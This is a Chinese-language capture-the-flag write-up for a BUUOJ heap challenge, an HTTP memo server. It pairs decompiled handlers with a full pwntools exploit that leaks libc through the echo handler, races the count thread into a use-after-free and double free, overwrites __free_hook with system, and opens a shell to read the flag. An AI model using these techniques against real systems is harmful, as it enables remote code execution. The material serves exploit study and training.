《一秒钟》，这估计是对这个题最好的解释了

程序模拟了一个http server 有add,count,echo,list共4个功能

1. add会先检查是否已存在，如果存在就修改count并标志置0，如果不存在就新建个0x10的管理块放入memo指针、count数、标志。再按memo的解码前长度建个数据块放传入的memo解码后的值 。这里使用strncpy的时候长度+1但由于块大小有限制不进过80，所以这一位无法利用

    v1 = strtok(a1, "&");                         // POST /add http1.1 \n\nmemo=xxxx&count=888if ( (unsigned int)__isoc99_sscanf(v1, "%10[^=]=%80s", s, s2)&& (v2 = strtok(0LL, "&"), (unsigned int)__isoc99_sscanf(v2, "%10[^=]=%10s", s1, nptr))&& !strcmp(s, "memo")&& s2[0]&& !strcmp(s1, "count")&& nptr[0]&& atoi(nptr) >= 0 ){for ( i = 0; i <= 15 && *(&ptr + i); ++i ){if ( *(_QWORD *)*(&ptr + i) && !strcmp(*(const char **)*(&ptr + i), s2) )// 已存在的memo{v3 = (__int64)*(&ptr + i);*(_DWORD *)(v3 + 8) = atoi(nptr);*((_WORD *)*(&ptr + i) + 6) = 0;sprintf(v13, "{\"status\":\"%s\"}", "ok");ret_head("HTTP/1.1 200 OK", "application/json", v13);return __readfsqword(0x28u) ^ v14;}}v8 = (char **)malloc(0x10uLL);v4 = strlen(s2);*v8 = (char *)malloc(v4);url_decode(s2);v5 = strlen(s2);strncpy(*v8, s2, v5 + 1);                   // 多一位0*((_DWORD *)v8 + 2) = atoi(nptr);*((_WORD *)v8 + 6) = 0;*(&ptr + i) = v8;sprintf(v13, "{\"status\":\"%s\"}", "ok");ret_head("HTTP/1.1 200 OK", "application/json", v13);}
   

2. count是这个比较特殊的功能。是启动新线程完成的。对于一个memo块（count>0）先对count减1，并将标志计为1然后sleep一秒再循环时对count<=0且标志为1的free掉。最后当没有可减的memo时循环退出将所在memo指针删除。

   unsigned int __fastcall start_routine(void *a1)
   {unsigned int result; // eaxint v2; // [rsp+4h] [rbp-Ch]int i; // [rsp+8h] [rbp-8h]int j; // [rsp+Ch] [rbp-4h]do{v2 = 0;for ( i = 0; i <= 15; ++i ){if ( *(&ptr + i) ){if ( *((int *)*(&ptr + i) + 2) <= 0 )   // count不大于0时，如果标记不为0，则置标记为0并释放{if ( !*((_DWORD *)*(&ptr + i) + 2) && *((_WORD *)*(&ptr + i) + 6) ){*((_WORD *)*(&ptr + i) + 6) = 0;free(*(void **)*(&ptr + i));}}else                                    // count大于0时，减1并置标记1{--*((_DWORD *)*(&ptr + i) + 2);       // 作个极大值，让进程不退出循环*((_WORD *)*(&ptr + i) + 6) = 1;++v2;}}}result = sleep(1u);                         // 延时1秒后再处理第2次，对大于0的减1并标记，不大于0且有标记的删除}while ( v2 );for ( j = 0; j <= 15; ++j ){free(*(&ptr + j));result = j;*(&ptr + j) = 0LL;}return result;
   }

3. echo功能就是将输入的内容返回。很明显就是通过数据长度带出什么东西。

   unsigned __int64 __fastcall post_echo(const char *a1)
   {size_t v1; // raxchar *v3; // [rsp+18h] [rbp-488h]char s1[16]; // [rsp+20h] [rbp-480h] BYREFchar dest[96]; // [rsp+30h] [rbp-470h] BYREFchar v6[1032]; // [rsp+90h] [rbp-410h] BYREFunsigned __int64 v7; // [rsp+498h] [rbp-8h]v7 = __readfsqword(0x28u);                    // content=xxxif ( (unsigned int)__isoc99_sscanf(a1, "%10[^=]", s1) == 1 && !strcmp(s1, "content") ){v3 = strchr(a1, 61) + 1;if ( strlen(v3) > 0x50 )sub_401041("Content too long");v1 = strlen(v3);memcpy(dest, v3, v1);                       // 未截断，可能有残留sprintf(v6, "{\"echo\":\"%s\"}", dest);ret_head("HTTP/1.1 200 OK", "application/json", v6);}return __readfsqword(0x28u) ^ v7;
   }

4. list功能会将当前列表中内容输出。

漏洞：

1. count这个功能中间有sleep，当memo已经删掉而指针列表还没删时就会被显示出，这里应该是堆指针。是个UAF
2. echo这个第一次gdb的时候什么都没有，给呼略了，后来调用别的函数后再测能带出canary在长度为0x29时，但程序本身并没有溢出，这个用不到。再后来发现在一进去的时候大概率会有个libc但是位置不太固定，如果有的时候下在0x10,0x20,0x30或0x40的位置可带出。

思路：

1. 利用count的异步处理功能，先放2个count为1和一个为n的memo,第1秒数据块被释放，这时候用list可以得到第2个块的堆指针。同时count为的n块保证这时候先不清指针。
2. 再次发送add这时候memo已经改为堆地址，使用修改的功能将count计数改为1，第2秒的时候会被删除，这样同一个块被删了两次。利用这个环实现后续功能。
3. 由于启用pthread在子进程没有退出时gef的heap bins看不到bins的内容。子进程似乎用fastbin。等退出后再放入tcache 。所以前边的n设置成3 。这时候已经得到成环的bin，退出后就能用gef看状态了。
4. 用add新建同大小的块写入__free_hook,/bin/sh,/bin/sh,system其中sh的count值为1然后启用post count进行释放得到shell

from pwn import *'''
patchelf --set-interpreter ../buuoj_2.27_amd64/ld-2.27.so pwn
patchelf --add-needed ../buuoj_2.27_amd64/libc-2.27.so pwn
patchelf --add-needed ../buuoj_2.27_amd64/libpthread-2.27.so pwn
'''elf = ELF('./pwn')
context.arch = 'amd64'def connect():global p,libc_elf,one,libc_start_main_ret,locallocal = 0if local == 1:p = process('./pwn')else:p = remote('node4.buuoj.cn', 29253) libc_elf = ELF('../buuoj_2.27_amd64/libc-2.27.so')one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]libc_start_main_ret = 0x21b97def post_echo(msg):p.send(b'POST /echo http1.1 \nConnection: keep-alive\n\ncontent=%s'%msg)def post_add(memo, cnt):p.send(b'POST /add http1.1 \nConnection: keep-alive\n\nmemo=%s&count=%d'%(memo,cnt))return p.recvuntil(b'{"status":"ok"}\n')def post_count():p.send(b'POST /count http1.1 \nConnection: keep-alive\n\na=a')return p.recv()def get_list():p.send(b'GET /list http1.1 \nConnection: keep-alive')def enc(n):n = p64(n)v = ''for i in n:v += '%' + hex(i)[2:].rjust(2,'0')return v.encode()def pwn():#get libclibc_base = 0   for i in [0x10,0x20,0x30,0x40]:post_echo(b'A'*i)p.recvuntil(b'A'*i)data = p.recvuntil(b'"}', drop=True)if len(data) == 6 and data[5]==0x7f:libc_base = u64(data.ljust(8, b'\x00')) - 0x10bf0breakif libc_base == 0:return       libc_elf.address = libc_baseprint('libc:', hex(libc_base))context.log_level = 'debug'chunk_size = 0x50post_add(b'X'*0x20, 3) #make thread alive ? secondpost_add(b'A'*chunk_size, 1)post_add(b'B'*chunk_size, 1)post_add(b'C'*chunk_size, 1)post_count()sleep(1)get_list()p.recvuntil(b'<td>0</td></tr><tr><td>')data = p.recvuntil(b'</td>', drop=True)heap_addr = u64(data.ljust(8, b'\x00'))print('heap:', hex(heap_addr))sleep(1)post_add(p64(heap_addr).strip(b'\x00'), 1) #double free Bpost_add(p64(heap_addr+0x20+chunk_size).strip(b'\x00'), 1) #double free Bsleep(3)#Fastbins[idx=4, size=0x60]  ←  Chunk(addr=0x155b3d0)  ←  Chunk(addr=0x155b350)  ←  Chunk(addr=0x155b3d0)  →  [loop detected]got_pre = 0x603018 #got.freepost_add(p64(libc_elf.sym['__free_hook']).replace(b'\x00', b'%00').ljust(chunk_size, b'X'), 0xffff)post_add(b'/bin/sh%00'.ljust(chunk_size,b'X'), 1)post_add(b'/bin/sh%00'.ljust(chunk_size,b'X'), 1)post_add((p64(libc_elf.sym['system'])).replace(b'\x00', b'%00').ljust(chunk_size, b'X'), 0xffff)post_count()sleep(1)#gdb.attach(p)#pause() p.sendline(b'cat /flag')p.interactive()connect()
pwn()